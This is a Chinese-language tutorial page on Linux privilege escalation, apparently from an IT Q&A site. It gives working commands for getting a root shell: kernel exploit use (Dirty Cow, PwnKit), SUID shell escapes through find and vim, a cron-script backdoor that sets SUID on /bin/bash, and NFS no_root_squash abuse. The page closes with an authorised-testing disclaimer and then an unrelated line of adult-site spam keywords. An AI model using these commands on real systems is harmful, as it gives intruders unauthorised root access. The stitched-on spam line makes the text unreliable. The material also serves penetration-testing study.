溫馨提示×

Linux exploit如何進行權限提升

小樊
59
2025-09-02 05:39:03
欄目: 智能運維

Linux權限提升(提權)需利用系統漏洞或配置缺陷,以下是常見方法及對應工具/技術:

一、內核漏洞提權

通過利用內核漏洞直接獲取root權限,是最直接的方式。

  • 步驟
    1. 獲取內核版本uname -a。
    2. 搜索漏洞:用searchsploit工具匹配內核版本對應的漏洞(如Dirty Cow、PwnKit)。
    3. 下載并編譯EXP:從Exploit-DB或GitHub獲取漏洞利用代碼,用gcc編譯。
    4. 執行提權:運行編譯后的EXP,獲取root shell。
  • 經典漏洞
    • Dirty Cow(CVE-2016-5195):通過寫時復制機制修改只讀文件獲取權限。
    • PwnKit(CVE-2021-4034):利用polkit組件以root身份執行命令。

二、SUID/SGID濫用

利用設置了SUID位的程序以文件所有者權限執行命令。

  • 步驟
    1. 查找SUID文件find / -perm -4000 2>/dev/null。
    2. 利用示例
      • find . -exec /bin/sh -p \;(利用find命令)。
      • vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-p")'(利用vim的Python接口)。

三、計劃任務(Cron)提權

通過修改root用戶的計劃任務腳本植入惡意代碼。

  • 步驟
    1. 查看可寫計劃任務ls -la /etc/cron*。
    2. 植入后門:在腳本中添加chmod u+s /bin/bash等命令,任務執行時獲取root權限。

四、NFS共享提權

利用NFS服務器配置不當(no_root_squash)以root身份訪問共享目錄。

  • 步驟
    1. 掛載NFS共享mount -t nfs <目標IP>:/share /tmp/nfs。
    2. 創建SUID shellcp /bin/bash /tmp/nfs/ && chmod u+s /tmp/nfs/bash。
    3. 執行提權:通過掛載的共享目錄執行SUID的bash。

五、自動化工具

  • LinPEAS:全維度掃描系統漏洞、配置錯誤及可利用的SUID文件。
  • Linux Exploit Suggester:根據內核版本自動匹配可用的提權漏洞。

注意事項

  • 以上方法僅適用于授權測試,非法使用可能導致法律后果。
  • 實際操作前需確認目標系統存在對應漏洞,避免誤判。

參考來源

0
亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女